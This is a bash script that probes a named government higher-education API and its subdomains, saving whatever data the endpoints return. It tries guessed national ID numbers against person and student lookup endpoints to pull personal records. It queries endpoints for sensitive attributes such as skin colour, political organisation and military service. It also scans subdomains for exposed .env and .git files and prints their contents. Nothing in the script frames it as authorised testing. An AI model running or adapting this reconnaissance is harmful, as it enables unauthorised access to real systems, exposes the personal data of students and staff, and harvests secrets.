#!/bin/bash
OUTDIR="/tmp/uni-probe/mes-api"
mkdir -p "$OUTDIR"

echo "=== PORTAL ENDPOINTS ==="
for ep in \
  "/api/portal/university" \
  "/api/portal/pregrade" \
  "/api/portal/postgrade" \
  "/api/portal/computerization" \
  "/api/portal/pregrade/career-map" \
  "/api/portal/pregrade/information" \
  "/api/portal/pregrade/national-pregrade" \
  "/api/portal/pregrade/one-program" \
  "/api/portal/pregrade/pregrade-acreditation" \
  "/api/portal/university/university-acreditation" \
  "/api/portal/university/cum" \
  "/api/portal/postgrade/program-information" \
  "/api/portal/postgrade/programs-acreditation"; do
  resp=$(curl -sk -o /tmp/p_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 15 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "[$code|${size}B] $ep"
  if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
    safename=$(echo "$ep" | tr '/' '_' | tr '-' '_')
    cp /tmp/p_resp "$OUTDIR/portal${safename}.json"
    head -c 3000 /tmp/p_resp
    echo ""
    echo "---"
  fi
done

echo ""
echo "=== GENERAL ENDPOINTS ==="
for ep in \
  "/api/general/cellphonelines" \
  "/api/general/cellphones" \
  "/api/general/datacenter" \
  "/api/general/enlaces" \
  "/api/general/nautahogar" \
  "/api/general/procedimientodigital" \
  "/api/general/serviciosdigital" \
  "/api/general/software"; do
  resp=$(curl -sk -o /tmp/g_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 15 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "[$code|${size}B] $ep"
  if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
    safename=$(echo "$ep" | tr '/' '_')
    cp /tmp/g_resp "$OUTDIR/general${safename}.json"
    head -c 3000 /tmp/g_resp
    echo ""
    echo "---"
  fi
done

echo ""
echo "=== SIGENU NOMENCLATORS ==="
for ep in \
  "/api/sigenu/api/v1/province/" \
  "/api/sigenu/api/v1/country/" \
  "/api/sigenu/api/v1/university/" \
  "/api/sigenu/api/v1/career/" \
  "/api/sigenu/api/v1/faculty/" \
  "/api/sigenu/api/v1/sex/" \
  "/api/sigenu/api/v1/skinColor/" \
  "/api/sigenu/api/v1/academicLevel/" \
  "/api/sigenu/api/v1/entrySource/" \
  "/api/sigenu/api/v1/maritalStatus/" \
  "/api/sigenu/api/v1/orphan/" \
  "/api/sigenu/api/v1/politicsOrg/" \
  "/api/sigenu/api/v1/studyYear/" \
  "/api/sigenu/api/v1/studyProgram/" \
  "/api/sigenu/api/v1/courseType/" \
  "/api/sigenu/api/v1/studentType/" \
  "/api/sigenu/api/v1/studyRegimen/" \
  "/api/sigenu/api/v1/academicSituation/" \
  "/api/sigenu/api/v1/academicOrigin/" \
  "/api/sigenu/api/v1/jobCenterOrg/" \
  "/api/sigenu/api/v1/occupation/" \
  "/api/sigenu/api/v1/syndicate/" \
  "/api/sigenu/api/v1/militarGrade/" \
  "/api/sigenu/api/v1/militarServiceType/" \
  "/api/sigenu/api/v1/militarSpecialty/" \
  "/api/sigenu/api/v1/town/" \
  "/api/sigenu/api/v1/sum/"; do
  resp=$(curl -sk -o /tmp/n_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "[$code|${size}B] $ep"
  if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
    safename=$(echo "$ep" | tr '/' '_')
    cp /tmp/n_resp "$OUTDIR/sigenu${safename}.json"
    head -c 3000 /tmp/n_resp
    echo ""
    echo "---"
  fi
done

echo ""
echo "=== RRHH ENDPOINTS ==="
for ep in \
  "/api/rrhh/worker" \
  "/api/rrhh/workers/by-age" \
  "/api/rrhh/workers/by-sex" \
  "/api/rrhh/workers/by-skin-color" \
  "/api/rrhh/workers/by-category/occupational" \
  "/api/rrhh/workers/by-category/scientific" \
  "/api/rrhh/workers/by-category/teaching"; do
  resp=$(curl -sk -o /tmp/r_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "[$code|${size}B] $ep"
  if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
    safename=$(echo "$ep" | tr '/' '_' | tr '-' '_')
    cp /tmp/r_resp "$OUTDIR/rrhh${safename}.json"
    head -c 3000 /tmp/r_resp
    echo ""
    echo "---"
  fi
done

echo ""
echo "=== FUC PERSON LOOKUP (test CIs) ==="
for ci in 85010112345 90050654321 95120167890 80010100001 75060512345; do
  resp=$(curl -sk -o /tmp/f_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu/api/fuc/person/${ci}" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "[$code|${size}B] /api/fuc/person/${ci}"
  if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
    cat /tmp/f_resp
    echo ""
    cp /tmp/f_resp "$OUTDIR/fuc-person-${ci}.json"
  fi
done

echo ""
echo "=== PORTAL STUDENT LOOKUP ==="
for ci in 85010112345 90050654321 95120167890 80010100001 75060512345; do
  resp=$(curl -sk -o /tmp/s_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu/api/portal/student/${ci}" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "[$code|${size}B] /api/portal/student/${ci}"
  if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
    cat /tmp/s_resp
    echo ""
    cp /tmp/s_resp "$OUTDIR/portal-student-${ci}.json"
  fi
done

echo ""
echo "=== SIGENU SEARCH ==="
for ep in \
  "/api/sigenu/api/v1/searchSimple/" \
  "/api/sigenu/api/v1/searchSimple/search?q=test" \
  "/api/sigenu/advanced-search" \
  "/api/sigenu/api/v1/integration/historical-series/chapters" \
  "/api/sigenu/api/v1/map/idProvince"; do
  resp=$(curl -sk -o /tmp/ss_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "[$code|${size}B] $ep"
  if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
    head -c 2000 /tmp/ss_resp
    echo ""
    safename=$(echo "$ep" | tr '/:?=.' '_')
    cp /tmp/ss_resp "$OUTDIR/sigenu-search${safename}.json"
  fi
done

echo ""
echo "=== HOMOLOGATION TEST ==="
for ep in "/api/homologation/" "/api/homologation/test" "/api/homologation/users/me"; do
  resp=$(curl -sk -o /tmp/h_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "[$code|${size}B] $ep"
  if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
    head -c 2000 /tmp/h_resp
    echo ""
  fi
done

echo ""
echo "=== OTHER MES SUBDOMAINS ==="
for host in \
  "data.mes.gob.cu" \
  "akademos.mes.gob.cu" \
  "academia.mes.gob.cu" \
  "conectus.mes.gob.cu" \
  "encuestas.mes.gob.cu" \
  "eventos.mes.gob.cu" \
  "estrategia.mes.gob.cu" \
  "backup.mes.gob.cu" \
  "cmi.mes.gob.cu" \
  "almacen.sigies.mes.gob.cu" \
  "copep.mes.gob.cu"; do
  echo "--- $host ---"
  for path in "/.env" "/.git/HEAD" "/robots.txt" "/api/" "/admin/"; do
    resp=$(curl -sk -o /tmp/mes_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "https://${host}${path}" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 20 ] 2>/dev/null; then
      echo "  [HIT] ${path} ($code, ${size}B)"
      safename=$(echo "${host}${path}" | tr '/:.' '_')
      cp /tmp/mes_resp "$OUTDIR/mes-${safename}.txt"
      case "$path" in
        *\.env*|*\.git*)
          cat /tmp/mes_resp
          echo ""
          ;;
        *robots*)
          head -c 500 /tmp/mes_resp
          echo ""
          ;;
      esac
    elif [ "$code" = "403" ]; then
      echo "  [403] ${path} (exists but blocked)"
    fi
  done
done

echo ""
echo "=== FINAL FILE COUNT ==="
ls -la "$OUTDIR/" | wc -l
echo "files in $OUTDIR"
ls -la "$OUTDIR/"
